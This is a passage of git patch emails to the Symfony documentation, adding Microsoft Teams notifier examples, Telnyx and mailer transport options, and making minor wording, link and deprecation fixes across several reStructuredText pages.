zh{LU~M(|S0rl*!zL98D}Y9;0MH>o!wSp~4FJRyvxwCh|)M0uVJM*28K$OQoj7C_aN
zzUqC}aH}_s9Z%cv#wK?80)<i#JEqiGMkpLPUp3H_Ck9@%v8zg{7)XkVFCSJgO)54q
zJ)U*xapQ{erEz>Cqa_x8Yd^|L!Idu4Xb5G+r1=mB=3nxe$!<*b2V|~XZwMn0yi;Tw
zg2tZ{K;XPudyFiE7hv(z6!3qEJOGn#stlm`YV2N2x$k`O%;{a-IS<LoZ(3&EHl6Q@
za_?^u%T;l;-}DY&_xwOYRTJW4$-T7qd(-im|1yE!iivj3(5^DU>B8!09Go<qlM+qH
z&l3q^+X4+i6{;M!#2h2^1+j1N>4_EjSOMx-(YU~*a)A@T;`J!7(L<>Ot1t;g)@x&z
zfHy~qze1xuz65qs*aLz63Il<&7xdEQ9KhzUPQ3NZ$(bJm5VZsU-6Ny>ZpCZ<8eWOU
z6PQY}4{IJ{_?a%8@J#0`6X?>!Kw8oW^(7NrK#2gxda(t+rfO<xA?FU%g6RrQW@}+*
z3QwkbzvgRy!bNClX$hygMmheO6yA=~p)eK278hEqN29tV;t3BGE|UVp#Kn2J^yN4=
zR##VrSC50dgvls7HkT<sC#6?e*|3=pTvCN(0V->Fq&hMJpwpPduNVyHC+5tx1B1VZ
z3T)T5HJO0dwS{YUh1D8AS9m#=^dL=!z5?l(#wR4LFtM#F^<>;B@&35eqp{^ZG44am
sNs4%;dh57zea#yB|3Unyy>N7@2?1eu|LC<3u%gjW(S20%@LAyh0I6t03jhEB

literal 0
HcmV?d00001

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index f01a8bd7ce6..bf98694376f 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -218,6 +218,99 @@ to add `message options`_::
 
     $chatter->send($chatMessage);
 
+Adding text to a Microsoft Teams Message
+----------------------------------------
+
+With a Microsoft Teams, you can use the simple ChatMessage::
+
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = (new ChatMessage('Contribute To Symfony'))->transport('microsoftteams');
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/microsoft_teams/message.png
+   :align: center
+
+Adding Interactions to a Microsoft Teams Message
+------------------------------------------------
+
+With a Microsoft Teams Message, you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\MicrosoftTeams\\MicrosoftTeamsOptions` class
+to add `MessageCard options`_::
+
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\ActionCard;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\HttpPostAction;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\DateInput;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\TextInput;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsOptions;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Field\Fact;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Section;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('');
+
+    // Action elements
+    $input = new TextInput();
+    $input->id('input_title');
+    $input->isMultiline(true)->maxLength(5)->title('In a few words, why would you like to participate?');
+
+    $inputDate = new DateInput();
+    $inputDate->title('Proposed date')->id('input_date');
+
+    // Create Microsoft Teams MessageCard
+    $microsoftTeamsOptions = (new MicrosoftTeamsOptions())
+        ->title('Symfony Online Meeting')
+        ->text('Symfony Online Meeting are the events where the best developers meet to share experiences...')
+        ->summary('Summary')
+        ->themeColor('#F4D35E')
+        ->section((new Section())
+            ->title('Talk about Symfony 5.3 - would you like to join? Please give a shout!')
+            ->fact((new Fact())
+                ->name('Presenter')
+                ->value('Fabien Potencier')
+            )
+            ->fact((new Fact())
+                ->name('Speaker')
+                ->value('Patricia Smith')
+            )
+            ->fact((new Fact())
+                ->name('Duration')
+                ->value('90 min')
+            )
+            ->fact((new Fact())
+                ->name('Date')
+                ->value('TBA')
+            )
+        )
+        ->action((new ActionCard())
+            ->name('ActionCard')
+            ->input($input)
+            ->input($inputDate)
+            ->action((new HttpPostAction())
+                ->name('Add comment')
+                ->target('http://target')
+            )
+        )
+    ;
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($microsoftTeamsOptions);
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/microsoft_teams/message-card.png
+   :align: center
+
+.. versionadded:: 5.3
+
+    Options for Microsoft Teams were introduced in Symfony 5.3.
+
 .. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
 .. _`Embed elements`: https://discord.com/developers/docs/resources/webhook
 .. _`message options`: https://core.telegram.org/bots/api
+.. _`MessageCard options`: https://docs.microsoft.com/en-us/outlook/actionable-messages/message-card-reference

From b9d285db61028749fc7bb7ec9d30af9a1917b373 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Jul 2021 12:39:18 +0200
Subject: [PATCH 1019/5766] Minor tweaks

---
 notifier/chatters.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 61a8ecd9c6b..bc1a4da1914 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -335,7 +335,7 @@ to add `message options`_::
 Adding text to a Microsoft Teams Message
 ----------------------------------------
 
-With a Microsoft Teams, you can use the simple ChatMessage::
+With a Microsoft Teams, you can use the ChatMessage class::
 
     use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
     use Symfony\Component\Notifier\Message\ChatMessage;
@@ -420,9 +420,9 @@ The result will be something like:
 .. image:: /_images/notifier/microsoft_teams/message-card.png
    :align: center
 
-.. versionadded:: 5.3
+.. versionadded:: 5.4
 
-    Options for Microsoft Teams were introduced in Symfony 5.3.
+    Options for Microsoft Teams were introduced in Symfony 5.4.
 
 .. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
 .. _`Embed elements`: https://discord.com/developers/docs/resources/webhook

From fb162ffe527122d667935c4f69c8c61dabffbf05 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Jul 2021 09:03:33 +0200
Subject: [PATCH 1020/5766] [Translation] Support GitHub action format in
 lint:xliff

---
 translation/lint.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/translation/lint.rst b/translation/lint.rst
index 14693f32826..e6987538aeb 100644
--- a/translation/lint.rst
+++ b/translation/lint.rst
@@ -33,16 +33,18 @@ The linter results can be exported to JSON using the ``--format`` option:
     $ php bin/console lint:yaml translations/ --format=json
     $ php bin/console lint:xliff translations/ --format=json
 
-When running the YAML linter inside `GitHub Actions`_, the output is automatically
+When running these linters inside `GitHub Actions`_, the output is automatically
 adapted to the format required by GitHub, but you can force that format too:
 
 .. code-block:: terminal
 
     $ php bin/console lint:yaml translations/ --format=github
+    $ php bin/console lint:xliff translations/ --format=github
 
 .. versionadded:: 5.3
 
-    The ``github`` output format was introduced in Symfony 5.3.
+    The ``github`` output format was introduced in Symfony 5.3 for ``lint:yaml``
+    and in Symfony 5.4 for ``lint:xliff``.
 
 .. tip::
 

From 0d95d3f2161dd6016125d6c73e737af929fa0825 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Jul 2021 15:59:24 +0200
Subject: [PATCH 1021/5766] Minor tweak

---
 configuration/front_controllers_and_kernel.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/front_controllers_and_kernel.rst b/configuration/front_controllers_and_kernel.rst
index 45f60811f37..705c1f2e522 100644
--- a/configuration/front_controllers_and_kernel.rst
+++ b/configuration/front_controllers_and_kernel.rst
@@ -249,7 +249,7 @@ includes the following:
     configuration.
 
 ``url_generating_routes.php``
-    The cached routing configuration that used when generating URLs.
+    The cached routing configuration used when generating URLs.
 
 ``url_matching_routes.php``
     The cached configuration used for route matching - look here to see the compiled

From 56688e17ac6a26096312b60dc41d243b6e140965 Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Wed, 26 May 2021 19:14:09 +0300
Subject: [PATCH 1022/5766] [Notifier] Telnyx

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 05f5645b30d..46e83d17d0a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -78,6 +78,7 @@ Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?f
 SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
 Smsc            ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
 SpotHit         ``symfony/spothit-notifier``          ``spothit://TOKEN@default?from=FROM``
+Telnyx          ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
 Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
 Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
 ==============  ====================================  ===========================================================================
@@ -97,7 +98,7 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 
 .. versionadded:: 5.4
 
-    The MessageMedia, Smsc, Yunpian and AmazonSns integrations were introduced in Symfony 5.4.
+    The MessageMedia, Smsc, Yunpian, AmazonSns and Telnyx integrations were introduced in Symfony 5.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 8e7ddc8d8d6f35d9ce7dbbbfad3045d3f23ad5b2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Jul 2021 17:09:34 +0200
Subject: [PATCH 1023/5766] Reword

---
 reference/constraints/Valid.rst | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst
index dd6721b96c9..49846d3fb39 100644
--- a/reference/constraints/Valid.rst
+++ b/reference/constraints/Valid.rst
@@ -243,12 +243,10 @@ the validation of the ``Address`` fields failed.
     App\Entity\Author.address.zipCode:
         This value is too long. It should have 5 characters or less.
 
-.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+.. tip::
 
-.. note::
-
-    This constraint is not aware what sub-object must be associated with it, a common solution is to combine this constraint
-    with :doc:`Type </reference/constraints/Type>`.
+    If you also want to validate that the ``address`` property is an instance of
+    the ``App\Entity\Address`` class, add the :doc:`Type constraint </reference/constraints/Type>`.
 
 Options
 -------

From 1c7613b30de55cd76dc93f3f81494561c4b73c53 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 25 Jun 2021 00:05:06 +0200
Subject: [PATCH 1024/5766] Delete monolog_regex_based_excludes.rst

Since `excluded_404s` is deprecated in Monolog, I think this page can be deleted. Everything is said on https://symfony.com/doc/current/logging/monolog_exclude_http_codes.html
---
 logging/monolog_regex_based_excludes.rst | 78 ------------------------
 1 file changed, 78 deletions(-)
 delete mode 100644 logging/monolog_regex_based_excludes.rst

diff --git a/logging/monolog_regex_based_excludes.rst b/logging/monolog_regex_based_excludes.rst
deleted file mode 100644
index be4a6ee8b7e..00000000000
--- a/logging/monolog_regex_based_excludes.rst
+++ /dev/null
@@ -1,78 +0,0 @@
-.. index::
-   single: Logging
-   single: Logging; Exclude 404 Errors
-   single: Monolog; Exclude 404 Errors
-
-How to Configure Monolog to Exclude 404 Errors from the Log
-===========================================================
-
-.. tip::
-
-    Read :doc:`/logging/monolog_exclude_http_codes` to learn about a similar
-    but more generic feature that allows to exclude logs for any HTTP status
-    code and not only 404 errors.
-
-Sometimes your logs become flooded with unwanted 404 HTTP errors, for example,
-when an attacker scans your app for some well-known application paths (e.g.
-`/phpmyadmin`). When using a ``fingers_crossed`` handler, you can exclude
-logging these 404 errors based on a regular expression in the MonologBundle
-configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/prod/monolog.yaml
-        monolog:
-            handlers:
-                main:
-                    # ...
-                    type: fingers_crossed
-                    handler: ...
-                    excluded_404s:
-                        - ^/phpmyadmin
-
-    .. code-block:: xml
-
-        <!-- config/packages/prod/monolog.xml -->
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:monolog="http://symfony.com/schema/dic/monolog"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/monolog
-                https://symfony.com/schema/dic/monolog/monolog-1.0.xsd">
-
-            <monolog:config>
-                <monolog:handler type="fingers_crossed" name="main" handler="...">
-                    <!-- ... -->
-                    <monolog:excluded-404>^/phpmyadmin</monolog:excluded-404>
-                </monolog:handler>
-            </monolog:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    // ...
-                    'type'          => 'fingers_crossed',
-                    'handler'       => ...,
-                    'excluded_404s' => [
-                        '^/phpmyadmin',
-                    ],
-                ],
-            ],
-        ]);
-
-
-.. caution::
-
-    Combining ``excluded_404s`` with a ``passthru_level`` lower than
-    ``error`` (i.e. ``debug``, ``info``, ``notice`` or ``warning``) will not
-    actually exclude log messages for the URL(s) listed in ``excluded_404s``
-    because they are logged with level of ``error`` or higher and
-    ``passthru_level`` takes precedence over the URLs being listed in
-    ``excluded_404s``.

From 456ae42dd28636dcc817d1ccedf3a0658ac488eb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Jul 2021 17:28:44 +0200
Subject: [PATCH 1025/5766] Redirect deleted page and fix some references

---
 _build/redirection_map | 1 +
 logging.rst            | 5 -----
 2 files changed, 1 insertion(+), 5 deletions(-)

diff --git a/_build/redirection_map b/_build/redirection_map
index 68095fcf2b8..45b6a971ebd 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -514,3 +514,4 @@
 /service_container/3.3-di-changes https://symfony.com/doc/3.4/service_container/3.3-di-changes.html
 /frontend/encore/shared-entry /frontend/encore/split-chunks
 /testing/functional_tests_assertions /testing#testing-application-assertions
+/logging/monolog_regex_based_excludes /logging/monolog_exclude_http_codes
diff --git a/logging.rst b/logging.rst
index 2651247d5c5..fe1f84b56f9 100644
--- a/logging.rst
+++ b/logging.rst
@@ -379,11 +379,6 @@ Learn more
     logging/monolog_exclude_http_codes
     logging/monolog_console
 
-.. toctree::
-    :hidden:
-
-    logging/monolog_regex_based_excludes
-
 .. _`the twelve-factor app methodology`: https://12factor.net/logs
 .. _PSR-3: https://www.php-fig.org/psr/psr-3/
 .. _`stderr`: https://en.wikipedia.org/wiki/Standard_streams#Standard_error_(stderr)

From c910afd597675e7a71a68dc7ac2b2ba063fc34ab Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 27 Jul 2021 18:30:18 +0200
Subject: [PATCH 1026/5766] Removing full URL of error page preview

Reason: The actual url (`http://localhost/index.php/` vs. `http://localhost` vs. `http://whatever` vs. ...) depends on the local web server config.
If you're using the recommended nginx config at https://symfony.com/doc/current/setup/web_server_configuration.html#nginx, you'd have to remove `internal;`. I thought about explaining this, but in the end there are probably too many possible server configs to cover them all...
---
 controller/error_pages.rst | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index f3c8256e453..8136a0e6eb4 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -183,13 +183,10 @@ automatically when installing ``symfony/framework-bundle``):
             ;
         };
 
-With this route added, you can use URLs like these to preview the *error* page
-for a given status code as HTML or for a given status code and format.
+Now you can preview your error page on these two routes:
 
-.. code-block:: text
-
-     http://localhost/index.php/_error/{statusCode}
-     http://localhost/index.php/_error/{statusCode}.{format}
+* `/_error/{statusCode}` for HTML
+* `/_error/{statusCode}.{format}` for any other format
 
 .. _overriding-non-html-error-output:
 

From 76d97f90344b28a96c86d343948812d3dbc17fa8 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 27 Jul 2021 18:55:52 +0200
Subject: [PATCH 1027/5766] Adding global namespace to `Throwable`

* I hope this is the right syntax - don't know what `:class:` is for...
* This only works if you add `(..., ?\Throwable $exception=null)` to the controllers arguments list. Shouldn't this be mentioned too?
---
 controller/error_pages.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index f3c8256e453..384436dccaf 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -284,7 +284,7 @@ the request that will be dispatched to your controller. In addition, your contro
 will be passed two parameters:
 
 ``exception``
-    The original :class:`Throwable` instance being handled.
+    The original :class:`\Throwable` instance being handled.
 
 ``logger``
     A :class:`\\Symfony\\Component\\HttpKernel\\Log\\DebugLoggerInterface`

From c18ca766dcf1bcf81b47ce1572b91ef2c6640651 Mon Sep 17 00:00:00 2001
From: authentictech <authentictech@users.noreply.github.com>
Date: Tue, 27 Jul 2021 17:26:02 +0100
Subject: [PATCH 1028/5766] Update page_creation.rst

I did not see app_lucky_number at the top as described, it was somewhere in the list nearer the bottom among other routes (e.g. _profiler_home,  _profiler_search)
---
 page_creation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/page_creation.rst b/page_creation.rst
index d348f857855..8fa97fb69ae 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -163,7 +163,7 @@ To get a list of *all* of the routes in your system, use the ``debug:router`` co
 
     $ php bin/console debug:router
 
-You should see your ``app_lucky_number`` route at the very top:
+You should see your ``app_lucky_number`` route in the list:
 
 ================== ======== ======== ====== ===============
  Name               Method   Scheme   Host   Path

From d1d66a62686946de6e6b5a762b2174bfd1fd83be Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 28 Jul 2021 10:02:50 +0200
Subject: [PATCH 1029/5766] Minor tweak

---
 page_creation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/page_creation.rst b/page_creation.rst
index 8fa97fb69ae..0ef60ebfb4e 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -171,7 +171,7 @@ You should see your ``app_lucky_number`` route in the list:
  app_lucky_number   ANY      ANY      ANY    /lucky/number
 ================== ======== ======== ====== ===============
 
-You will also see debugging routes below ``app_lucky_number`` -- more on
+You will also see debugging routes besides ``app_lucky_number`` -- more on
 the debugging routes in the next section.
 
 You'll learn about many more commands as you continue!

From 9c5f7b1908a94c70cfe7db9bc14323889346192d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 28 Jul 2021 10:36:28 +0200
Subject: [PATCH 1030/5766] Tweaks

---
 controller/error_pages.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 8136a0e6eb4..216e40a6dac 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -183,10 +183,12 @@ automatically when installing ``symfony/framework-bundle``):
             ;
         };
 
-Now you can preview your error page on these two routes:
+With this route added, you can use URLs like these to preview the *error* page
+for a given status code as HTML or for a given status code and format (you might
+need to replace ``http://localhost/`` by the host used in your local setup):
 
-* `/_error/{statusCode}` for HTML
-* `/_error/{statusCode}.{format}` for any other format
+* ``http://localhost/_error/{statusCode}`` for HTML
+* ``http://localhost/_error/{statusCode}.{format}`` for any other format
 
 .. _overriding-non-html-error-output:
 

From a5df2c45df56e2fa604d8bec00f795fc6234a941 Mon Sep 17 00:00:00 2001
From: Michael Devery <michaeldevery@gmail.com>
Date: Wed, 28 Jul 2021 11:52:06 +0100
Subject: [PATCH 1031/5766] Update ldap.rst

Without the tags I was getting an error about the ldap service not being found and "Did you maybe forget to add the "ldap" service tag to this service?"
---
 security/ldap.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/security/ldap.rst b/security/ldap.rst
index cabda06a72f..01f5edae553 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -70,6 +70,8 @@ An LDAP client can be configured using the built-in
         services:
             Symfony\Component\Ldap\Ldap:
                 arguments: ['@Symfony\Component\Ldap\Adapter\ExtLdap\Adapter']
+                tags:
+                    - ldap
             Symfony\Component\Ldap\Adapter\ExtLdap\Adapter:
                 arguments:
                     -   host: my-server

From 7f54a275ff4c42e43983c763bb164355f8a7d74a Mon Sep 17 00:00:00 2001
From: Sergey F <Tyraelqp@gmail.com>
Date: Mon, 26 Jul 2021 10:44:09 +0300
Subject: [PATCH 1032/5766] [Mailer] ping_threshold for ses+smtp

---
 mailer.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index eb293b0e815..e007f82244f 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -174,6 +174,17 @@ party provider:
     For example, the DSN ``ses+smtp://ABC1234:abc+12/345@default`` should be
     configured as ``ses+smtp://ABC1234:abc%2B12%2F345@default``
 
+.. caution::
+
+    If you want to use ``ses+smtp`` transport together with :doc:`Messenger </messenger>`
+    to :ref:`send messages in background <mailer-sending-messages-async>`,
+    you need to add ``ping_threshold`` parameter to your ``MAILER_DSN`` with
+    value lower than ``10``: ``ses+smtp://USERNAME:PASSWORD@default?ping_threshold=9``
+
+    .. versionadded:: 5.4
+        
+        The ``ping_threshold`` option for ``ses-smtp`` was introduced in Symfony 5.4.
+
 .. note::
 
     When using SMTP, the default timeout for sending a message before throwing an
@@ -1112,6 +1123,8 @@ the final email)::
     $email->getHeaders()->addTextHeader('X-Transport', 'alternative');
     $mailer->send($email);
 
+.. _mailer-sending-messages-async:
+
 Sending Messages Async
 ----------------------
 

From 8a7b61c88b59c795ed3db269e3a927cb94cd7e0e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 Jul 2021 15:49:58 +0200
Subject: [PATCH 1033/5766] Tweak

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index e007f82244f..f7b078bd5a7 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -178,8 +178,8 @@ party provider:
 
     If you want to use ``ses+smtp`` transport together with :doc:`Messenger </messenger>`
     to :ref:`send messages in background <mailer-sending-messages-async>`,
-    you need to add ``ping_threshold`` parameter to your ``MAILER_DSN`` with
-    value lower than ``10``: ``ses+smtp://USERNAME:PASSWORD@default?ping_threshold=9``
+    you need to add the ``ping_threshold`` parameter to your ``MAILER_DSN`` with
+    a value lower than ``10``: ``ses+smtp://USERNAME:PASSWORD@default?ping_threshold=9``
 
     .. versionadded:: 5.4
         

From 787411506acc6e7ffd4dd793867ae5f6cebab385 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 Jul 2021 16:02:12 +0200
Subject: [PATCH 1034/5766] Tweak

---
 controller/error_pages.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index d69f701da62..3fe650054b8 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -283,7 +283,7 @@ the request that will be dispatched to your controller. In addition, your contro
 will be passed two parameters:
 
 ``exception``
-    The original :class:`\Throwable` instance being handled.
+    The original :phpclass:`Throwable` instance being handled.
 
 ``logger``
     A :class:`\\Symfony\\Component\\HttpKernel\\Log\\DebugLoggerInterface`

From 3c6b003e6ee8959625416816acbfe9be45d69baf Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?S=C3=A9bastien=20ALFAIATE?= <seb33300@hotmail.com>
Date: Fri, 30 Jul 2021 09:50:36 +0700
Subject: [PATCH 1035/5766] Flex: Update links to Symfony 5.3

---
 setup/flex.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/setup/flex.rst b/setup/flex.rst
index 7e49814aac3..ab4a0509a40 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -189,9 +189,9 @@ If you customize these paths, some files copied from a recipe still may contain
 references to the original path. In other words: you may need to update some things
 manually after a recipe is installed.
 
-.. _`default services.yaml file`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/4.2/config/services.yaml
-.. _`shown in this example`: https://github.com/symfony/skeleton/blob/8e33fe617629f283a12bbe0a6578bd6e6af417af/composer.json#L24-L33
-.. _`shown in this example of the skeleton-project`: https://github.com/symfony/skeleton/blob/8e33fe617629f283a12bbe0a6578bd6e6af417af/composer.json#L44-L46
-.. _`copying Symfony's index.php source`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.1/public/index.php
-.. _`copying Symfony's bin/console source`: https://github.com/symfony/recipes/blob/master/symfony/console/5.1/bin/console
+.. _`default services.yaml file`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.3/config/services.yaml
+.. _`shown in this example`: https://github.com/symfony/skeleton/blob/a0770a7f26eeda9890a104fa3de8f68c4120fca5/composer.json#L30-L39
+.. _`shown in this example of the skeleton-project`: https://github.com/symfony/skeleton/blob/a0770a7f26eeda9890a104fa3de8f68c4120fca5/composer.json#L55-L57
+.. _`copying Symfony's index.php source`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.3/public/index.php
+.. _`copying Symfony's bin/console source`: https://github.com/symfony/recipes/blob/master/symfony/console/5.3/bin/console
 .. _`Symfony Requirements Checker`: https://github.com/symfony/requirements-checker

From f713212527192a176931a7958d85d93c71e5bf2c Mon Sep 17 00:00:00 2001
From: Fritz Michael Gschwantner <fmg@inspiredminds.at>
Date: Fri, 26 Jun 2020 22:01:44 +0100
Subject: [PATCH 1036/5766] [Mailer] Document new Mailer transport options

---
 mailer.rst | 51 +++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 51 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index fedcc71c366..be20d228dd4 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -253,6 +253,57 @@ the application or when using a self-signed certificate::
 
     The ``verify_peer`` option was introduced in Symfony 5.1.
 
+Other Options
+~~~~~~~~~~~~~
+
+``command``
+    Command to be executed by ``sendmail`` transport::
+
+        $dsn = 'sendmail://default?command=/usr/sbin/sendmail%20-oi%20-t'
+
+    .. versionadded:: 5.2
+
+        This option was introduced in Symfony 5.2.
+
+
+``local_domain``
+    The domain name to use in ``HELO`` command::
+
+        $dsn = 'smtps://smtp.example.com?local_domain=example.org'
+
+    .. versionadded:: 5.2
+
+        This option was introduced in Symfony 5.2.
+
+``restart_threshold``
+    The maximum number of messages to send before re-starting the transport. It
+    can be used together with ``restart_threshold_sleep``::
+
+        $dsn = 'smtps://smtp.example.com?restart_threshold=10&restart_threshold_sleep=1'
+
+    .. versionadded:: 5.2
+
+        This option was introduced in Symfony 5.2.
+
+``restart_threshold_sleep``
+    The number of seconds to sleep between stopping and re-starting the transport.
+    It's commont to combine it with ``restart_threshold``::
+
+        $dsn = 'smtps://smtp.example.com?restart_threshold=10&restart_threshold_sleep=1'
+
+    .. versionadded:: 5.2
+
+        This option was introduced in Symfony 5.2.
+
+``ping_threshold``
+    The minimum number of seconds between two messages required to ping the server::
+
+        $dsn = 'smtps://smtp.example.com?ping_threshold=200'
+
+    .. versionadded:: 5.2
+
+        This option was introduced in Symfony 5.2.
+
 Creating & Sending Messages
 ---------------------------
 

From fe33305b778fe4b6bb1a7e27c7c9065f2e6f6781 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 30 Jul 2021 17:13:37 +0200
Subject: [PATCH 1037/5766] Typo

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index be20d228dd4..b0c83d96a6d 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -287,7 +287,7 @@ Other Options
 
 ``restart_threshold_sleep``
     The number of seconds to sleep between stopping and re-starting the transport.
-    It's commont to combine it with ``restart_threshold``::
+    It's common to combine it with ``restart_threshold``::
 
         $dsn = 'smtps://smtp.example.com?restart_threshold=10&restart_threshold_sleep=1'
 

From e958c2144a6de16000446262f46aedc944627ab4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Romey?= <jeremy@free-agent.fr>
Date: Mon, 2 Aug 2021 10:58:05 +0200
Subject: [PATCH 1038/5766] [Testing] update deprecation

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 346cc573e94..1df9a2503a7 100644
--- a/testing.rst
+++ b/testing.rst
@@ -609,7 +609,7 @@ to simulate a login request::
         public function testVisitingWhileLoggedIn()
         {
             $client = static::createClient();
-            $userRepository = static::$container->get(UserRepository::class);
+            $userRepository = static::getContainer()->get(UserRepository::class);
 
             // retrieve the test user
             $testUser = $userRepository->findOneByEmail('john.doe@example.com');

From 7c360432d20d0d7372b39025dee595d2c47a9ee5 Mon Sep 17 00:00:00 2001
